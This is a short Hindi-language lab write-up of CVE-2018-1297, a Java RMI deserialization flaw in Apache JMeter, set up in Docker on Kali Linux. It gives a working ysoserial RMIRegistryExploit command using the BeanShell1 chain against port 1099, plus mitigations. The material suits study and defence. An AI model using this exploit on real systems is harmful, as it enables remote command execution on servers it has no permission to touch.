Jmeter RMI डिसेरियलाइज़ेशन कमांड निष्पादन भेद्यता (CVE-2018-1297)
Apache JMeter अमेरिकी अपाचे सॉफ्टवेयर फाउंडेशन द्वारा जावा भाषा में स्ट्रेस टेस्टिंग और प्रदर्शन परीक्षण के लिए लिखा गया एक ओपन-सोर्स सॉफ्टवेयर सेट है।
2.x और 3.x संस्करणों में एक डिसेरियलाइज़ेशन भेद्यता है, जिसका उपयोग करके हमलावर लक्ष्य सर्वर पर मनमाना कमांड निष्पादित कर सकते हैं।
भेद्यता वातावरण चलाएं :
मैंने काली लिनक्स पर डॉकर का उपयोग किया।
चलने के बाद, RMI सेवा शुरू हो जाती है और पोर्ट 1099 पर सुनती है।
भेद्यता :
ysoserial का सीधे उपयोग करके भेद्यता शोषण करें।
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success’
ऊपर दिए गए कमांड को दर्ज करें।
BeanShell1 नामक एक शोषण श्रृंखला का उपयोग किया गया।
docker compose exec jmeter bash
यह भेद्यता जावा-आधारित अनुप्रयोगों में होने वाली RMI (रिमोट मेथड इनवोकेशन) भेद्यता का शोषण करती है।
यहां उपयोग किया गया ‘ysoserial-0.0.6-SNAPSHOT-all.jar’ ysoserial प्रोजेक्ट का हिस्सा है, और इसका उपयोग जावा सीरियलाइज़ेशन भेद्यता का शोषण करके रिमोट कोड निष्पादन की अनुमति देने वाले पेलोड उत्पन्न करने के लिए किया जाता है।
इस पेलोड का उद्देश्य /tmp/success जैसे कमांड को निष्पादित करना है, और इस भेद्यता के माध्यम से हमलावर रिमोट सिस्टम पर मनमाना कमांड निष्पादित कर सकता है या सिस्टम फ़ाइलों को संशोधित कर सकता है।
इस भेद्यता को रोकने के उपायों में RMI सेवा तक पहुंच प्रतिबंधित करना, सख्त अनुमति नियंत्रण और जावा सीरियलाइज़ेशन फ़िल्टरिंग शामिल हैं।